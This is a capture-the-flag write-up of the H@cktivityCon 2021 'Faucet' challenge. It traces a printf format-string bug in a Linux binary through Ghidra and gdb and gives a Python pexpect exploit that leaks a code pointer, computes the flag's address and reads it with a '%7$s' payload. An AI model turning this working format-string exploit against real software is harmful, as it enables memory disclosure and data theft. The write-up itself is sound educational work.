Tags: binary-exploitaion
Rating:
The Faucet challenge for the H@tivityCon 2021 CTF involved exploiting a vulnerability in the printf() function. The challenge required both reverse engineering and constructing a script to inject a payload.
The challenge consisted of a Linux binary named faucet and an address to a port where the binary is running.
Accessing the port leads to the following output:
```
___
.' _ '.
/ /` `\ \
| | [__]
| | {{
| | }}
_ | | _ {{
___________<_>_| |_<_>}}________
.=======^=(___)=^={{====.
/ .----------------}}---. \
/ /| {{ |\ \
/ / | }} | \ \
( '=========================' )
'-----------------------------'
ASCII art from: https://ascii.co.uk/art/sinks
*drip *drip *drip
How are we going to fix this leaky faucet?
[1] Hit it with a hammer.
[2] Tighten the pipe with a wrench.
[3] Put a bucket under the leak.
[4] Call a plumber.
[5] Buy item from the hardware store.
>
```
We decompiled the provided binary using Ghidra. After opening the binary, it should pick up the right options by default. After Ghidra completes disassembling, look for main under functions in the 'Symbol Tree' view.
![](https://1.bp.blogspot.com/-vETX-4-WlKU/YUuxGDRJ4hI/AAAAAAAAJHA/9CigF8Yogek1PyQpnyS1XIMDZTI8eg_mQCLcBGAsYHQ/s1407/ghidra-4.png)
Here we can see the main() function in the decompiler view. We can immediately spot our goal. Let's take a closer look.
```
FILE *__stream;
__stream = fopen("flag.txt","r");
if (__stream != (FILE *)0x0) {
fgets(FLAG,0x100,__stream);
fclose(__stream);
```
On line 3, we open a file called flag.txt. It is a reasonable assumption that this contains our target. On line 5, we can see that we load the contents of this file into a location in memory. So our goal is to locate that and somehow leak its contents to the output.
Other than this, the function calls a menu function to handle the main menu and functions for each menu selection.
Let's take a peek at this FLAG variable:
![](https://1.bp.blogspot.com/-9--v2b5y_F4/YUzaPkFfzlI/AAAAAAAAJIA/IkRe8n0OlKAW_4ZOOAkp4TYVsZ3RAY83gCLcBGAsYHQ/s1407/ghidra-6.png)
Here we can find the offset of the FLAG symbol which is 0x00104060. This will certainly be important if we want to find the contents of that memory.
Let's take a look at the menu function.
![](https://1.bp.blogspot.com/-ieBQwv9AhzM/YUuxkdLdjBI/AAAAAAAAJHU/w5sfVi0dzqAhxgAV30Wt8JglmGcoJD4rwCLcBGAsYHQ/s1407/ghidra-5.png)
Here we see input being accepted. Nothing stands out as vulnerable though. The only other functions that look interesting are use_bucket() and buy_item(). Let's look at use_bucket():
![](https://1.bp.blogspot.com/-LT9vos8ibNU/YUux0aTKCHI/AAAAAAAAJHg/3ouJcEVg_eExFtYM_Gk9qwaYuDjTfCURQCLcBGAsYHQ/s1407/ghidra-3.png)
We accept some input here and then output it using printf(). Close, but not quite vulnerable enough. What about buy_item()?
![](https://1.bp.blogspot.com/-Z6RD9Xp1RHI/YU0SxG8pvlI/AAAAAAAAJIs/zf1c_0hVyesnwVj4Eg_rik14FIXW_eZvQCLcBGAsYHQ/s1407/ghidra-4.png)
There we go. We accept some input and then we output it using printf(). Let's take a closer look:
```
void buy_item(void)
{
int iVar1;
size_t sVar2;
long in_FS_OFFSET;
char buffer [40];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
printf("What item would you like to buy?: ");
fgets(buffer,0x20,stdin);
sVar2 = strcspn(buffer,"\n");
buffer[sVar2] = '\0';
iVar1 = strcmp(buffer,"hammer");
if (iVar1 == 0) {
hammer = 1;
}
else {
iVar1 = strcmp(buffer,"wrench");
if (iVar1 == 0) {
wrench = 1;
}
}
printf("You have bought a ");
printf(buffer);
puts("\n");
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
```
On line 12, we accept input with fgets(). On line 26, we then output that input directly using printf() without any escaping or filtering. There's our vulnerability. Now we need to exploit it.
At this point we found some lecture notes that were very helpful in thinking about how to exploit printf(). You can find them here: [Format_String.pdf](https://web.ecs.syr.edu/~wedu/Teaching/cis643/LectureNotes_New/Format_String.pdf)
There are some important concepts to draw from this. Firstly, printf() will look for parameters passed on the stack even if no parameters have been been provided. Depending on how many format specifiers are in the format string, printf() will walk up the stack. So adding 5 positional parameters will show five sequential values from the stack.
Second, printf() will put the contents of the format string on the stack as well. So, if you go far enough up the stack you will find the contents of the format string.
Third, the string format specifier in printf(), %s, will display the string stored at a pointer address on the stack. This is pretty common knowledge, but it is important for this attack.
Let's take a look at the first idea in action.
```
What item would you like to buy?: %x %x %x
You have bought a f4126610 0 0
```
Here we have retrieved three values off the stack.
Here is a demonstration of the second concept:
```
What item would you like to buy?: %x %x %x %x %x %x %x
You have bought a f4126610 0 0 12 12 25207825 20782520
```
If we take a closer look at the 6th and 7th positions in a hex editor like HxD, we see this:
That looks like the contents of the format string we passed in. Take note that it appears to be backwards. This will be important later.
This means a few important things, we now know we can place arbitrary data on the stack, and we can access that data, and using %s we can read what's at the other end of a pointer on the stack.
We also know the location of the FLAG variable, but that doesn't give us everything we need. We need a real pointer and not just an offset. We need to know the base address to add to this offset to make any use of it. But we don't have access to the machine the program runs on, so we can't just ask the OS what this base address is. We'll have to find it some other way. If we can find a pointer on the stack and determine what symbol it points at, we can subtract that symbol's offset from the pointer to get the base address we're looking for. So we need to see what's on the stack.
When the printf() format string gets too long it will get cut off. This limits us in how far up the stack we can traverse. But there is a workaround to this that we will get to later. For now, though, let's fire up the debugger, gdb, and start poking around.
```
> gdb ./faucet
```
First we need to set a breakpoint. Let's break on printf() and the start the program.
```
Reading symbols from ./faucet...
(No debugging symbols found in ./faucet)
(gdb) b printf
Breakpoint 1 at 0x1150
(gdb) run
Starting program: /home/xxxxxxx/H@cktivityCon2021CTF/faucet
___
.' _ '.
/ /` `\ \
| | [__]
| | {{
| | }}
_ | | _ {{
___________<_>_| |_<_>}}________
.=======^=(___)=^={{====.
/ .----------------}}---. \
/ /| {{ |\ \
/ / | }} | \ \
( '=========================' )
'-----------------------------'
ASCII art from: https://ascii.co.uk/art/sinks
*drip *drip *drip
How are we going to fix this leaky faucet?
[1] Hit it with a hammer.
[2] Tighten the pipe with a wrench.
[3] Put a bucket under the leak.
[4] Call a plumber.
[5] Buy item from the hardware store.
Breakpoint 1, __printf (format=0x5555555565ae "\n> ") at printf.c:28
28 printf.c: No such file or directory.
(gdb)
```
Here's the first printf() for the main menu prompt. Let's continue to the next.
```
(gdb) c
Continuing.
> 5
Breakpoint 1, __printf (format=0x555555556220 "What item would you like to buy?: ") at printf.c:28
28 in printf.c
(gdb)
```
We enter our option 5. Next is stops at the printf() for the buy item prompt. Let's continue and answer the prompt.
```
(gdb) c
Continuing.
What item would you like to buy?: %x %x %x %x %x %x %x %x %x %x
Breakpoint 1, __printf (format=0x555555556253 "You have bought a ") at printf.c:28
28 in printf.c
(gdb)
```
We enter our format string into the prompt and next we hit another printf() call. Let's continue to the next printf()
```
(gdb) c
Continuing.
You have bought a
Breakpoint 1, __printf (format=0x7fffffffd7e0 "%x %x %x %x %x %x %x %x %x %x") at printf.c:28
28 in printf.c
(gdb)
```
We have reached our target printf() call. Let's look at what's on the stack here.
```
(gdb) x/16xg $sp
0x7fffffffd7d8: 0x00005555555553b8 0x7825207825207825
0x7fffffffd7e8: 0x2520782520782520 0x2078252078252078
0x7fffffffd7f8: 0x0000007825207825 0x00005555555551e0
0x7fffffffd808: 0x64ddabf069932b00 0x00007fffffffd830
0x7fffffffd818: 0x0000555555555725 0x00000005ffffd920
0x7fffffffd828: 0x00005555555592a0 0x0000000000000000
0x7fffffffd838: 0x00007ffff7df10b3 0x00007ffff7ffc620
0x7fffffffd848: 0x00007fffffffd928 0x0000000100000000
```
Here we've asked to see the memory (x) for 16 entries (16) of hexadecimal formatted (x) 16 byte (g) values starting from the stack pointer ($sp). The first item on the stack here should be the return address for our call into printf(). We should be able to verify that with the info symbol command.
```
(gdb) info symbol 0x00005555555553b8
buy_item + 188 in section .text of /home/xxxxxxx/H@cktivityCon2021CTF/faucet
```
Here we can see that that first pointer on the stack points back to 188 bytes within the buy_item() function to the instruction just after where the printf() function was called. printf() is not able to see this entry though. The next four items on the stack are the format string passed to printf(). Sixth item on the stack appears to be a pointer though. Let's see what it points at:
```
(gdb) info symbol 0x00005555555551e0
_start in section .text of /home/xxxxxxx/H@cktivityCon2021CTF/faucet
(gdb)
```
This pointer points to the \_start() function in the main code section (.text) of the program. This pointer is also reachable via exploiting printf(). We should be able to compute the base address if we have this pointer. Let's see how we do that.
Let's go back to Ghidra. Find the \_start() function in the 'Symbol Tree':
![](https://1.bp.blogspot.com/-3Ynk3Q0F1lU/YUz5FXGvElI/AAAAAAAAJIY/IWuEC20lBJkJEJ1D3yxyaHI_kNPzVgfOACLcBGAsYHQ/s1407/ghidra-7.png)
Here we can see the \_start() function is at offset 0x001011e0. That means we should be able to subtract that offset from the pointer we got to get the base address. Here is the computation:
0x00005555555551e0 - 0x001011e0 = 0x0000555555454000
Now that we have the base, we can add the offset we found earlier for the FLAG variable to compute its pointer.
0x0000555555454000 + 0x00104060 = 0x0000555555558060
Let's see what is at the address we just computed.
```
(gdb) info symbol 0x0000555555558060
FLAG in section .bss of /home/xxxxxxx/H@cktivityCon2021CTF/faucet
(gdb)
```
And there we go, we have computed the correct address to find the flag. We can take a look at the memory and see.
```
(gdb) x/s 0x0000555555558060
0x555555558060 : "flag{this_is_where_the_flag_would_be}\n"
(gdb)
```
And there are the contents of our test flag.txt file. We have exfiltrated the flag. Let's examine the output of the printf() command now by continuing the program.
```
(gdb) c
Continuing.
ffffb140 0 0 12 12 25207825 20782520 78252078 25207825 555551e0
```
Here we see that the pointer ends up as the 10th item. A helpful detail is we don't have to use 10 format specifiers to reach it. We can simply use "%10$p" to get the 10 value as a pointer.
Now we need to script our attack. We used Python and pexpect to write a simple exploit script. Let's walk through that.
First we use pexpect to execute the program. Later, we will use the netcat command to reach to real target over the network. We also set pexpect to send all the output to stdout so we can see it.
```
child = pexpect.spawn('./faucet')
# Log output to stdout
child.logfile = sys.stdout.buffer
```
Next we look for the menu prompt and send a 5 to select our option.
```
# Look for menu , send a 5
child.expect('> ')
child.sendline('5')
```
Then we look for the buy item prompt and send our format specifier.
```
# Look for buy item prompt
child.expect('.*: ')
# Send a format specifier that will grab the 10th pointer on the stack
child.sendline('%10$p')
```
Now we grab the line with our pointer address in it and parse it with a regular expression to pull out the pointer address.
```
# Grab the line
child.readline()
line = child.readline().decode("ascii")
# Match the regex against the captured line
p = re.compile(r'.*0x([0-9a-f]{12})')
match = p.match(line)
# Extract the pointer address from the match group
address = int(match.group(1), 16)
```
With address in hand, we can now do our math.
```
# Subtract the offset
address -= 0x1011e0
# Add the offset for FLAG label
address = address + 0x104060
```
Next let's construct our payload. We need an array with some padding and then the address we want to be on the stack in binary form. Through experimentation we come up with needing 8 bytes of padding to get the address correctly aligned in a position on the stack. With the padding, the entire address ends up as the 7th positional argument. So part of our payload needs to display the string that the address points to. We do that with "%7$s" which means display the string pointed to by the 7th positional argument. We still need 4 more bytes of padding so four spaces will suffice. The address bytes are then appended to the end. Remember the byte order needs to be reversed to end up on the stack in the correct order. So we decode the computed value in 'little endian' mode to do this. Finally we end it with a line ending (0x0a).
```
# Create a bytearray with the start of our payload
byte_array = bytearray(b'%7$s ')
# Convert our address to bytes in reverse order
address_bytes = address.to_bytes(8, 'little')
# Add address and end line to our payload
byte_array += bytearray(address_bytes)
byte_array += bytearray(b'\n')
```
We have our payload, now to deliver it. We need to look for the menu prompt again and then the buy item prompt.
```
# Look for the menu, send 5
child.expect('> ')
child.sendline('5')
# Look for buy item prompt
child.expect('.*: ')
```
Now send the payload, wait for the menu again. Then we are done. The flag should have been printed to the screen with the other output. Note that here we make a special call to enable raw output to the child process. This is needed to be able to send raw binary with causing issues. We also must write directly to the file handle instead of using pexpect as it will only handle strings.
```
# set raw mode and send our payload
tty.setraw(child.fileno())
os.write(child.fileno(), byte_array)
# Look for the menu
child.expect('> ')
# We're done!
child.terminate()
```
A full attack will look like this output:
```
___
.' _ '.
/ /` `\ \
| | [__]
| | {{
| | }}
_ | | _ {{
___________<_>_| |_<_>}}________
.=======^=(___)=^={{====.
/ .----------------}}---. \
/ /| {{ |\ \
/ / | }} | \ \
( '=========================' )
'-----------------------------'
ASCII art from: https://ascii.co.uk/art/sinks
*drip *drip *drip
How are we going to fix this leaky faucet?
[1] Hit it with a hammer.
[2] Tighten the pipe with a wrench.
[3] Put a bucket under the leak.
[4] Call a plumber.
[5] Buy item from the hardware store.
> 5
5
What item would you like to buy?: %10$p
%10$p
You have bought a 0x562fd1d271e0
[1] Hit it with a hammer.
[2] Tighten the pipe with a wrench.
[3] Put a bucket under the leak.
[4] Call a plumber.
[5] Buy item from the hardware store.
> You have bought a 0x562fd1d271e0
0x562fd1c26000
0x562fd1d2a060
b'60a0d2d12f560000'
b'253724732020202060a0d2d12f5600000a'
5
5
What item would you like to buy?: You have bought a flag{this_is_where_the_flag_would_be}
`���/V
[1] Hit it with a hammer.
[2] Tighten the pipe with a wrench.
[3] Put a bucket under the leak.
[4] Call a plumber.
[5] Buy item from the hardware store.
> %
```
Great success! Much awesome!
If you would like to try it out yourself, you can find the files here:
The target executable: [faucet](https://storage.googleapis.com/blogger-cdn-bucket/hacktivitycon2021ctf/faucet/faucet)
The exploit script: [faucet_exploit.py](https://storage.googleapis.com/blogger-cdn-bucket/hacktivitycon2021ctf/faucet/faucet_exploit.py)
You will need to install the pexpect pip module to run the exploit. You will need a file in the same directory as the binary called flag.txt and containing a string.
Special thanks goes to my team for helping solve these challenges and having a good time in general. madamorr in particular deserves credit on this exploit. Thanks also goes to whoever the author of the referenced lecture notes is.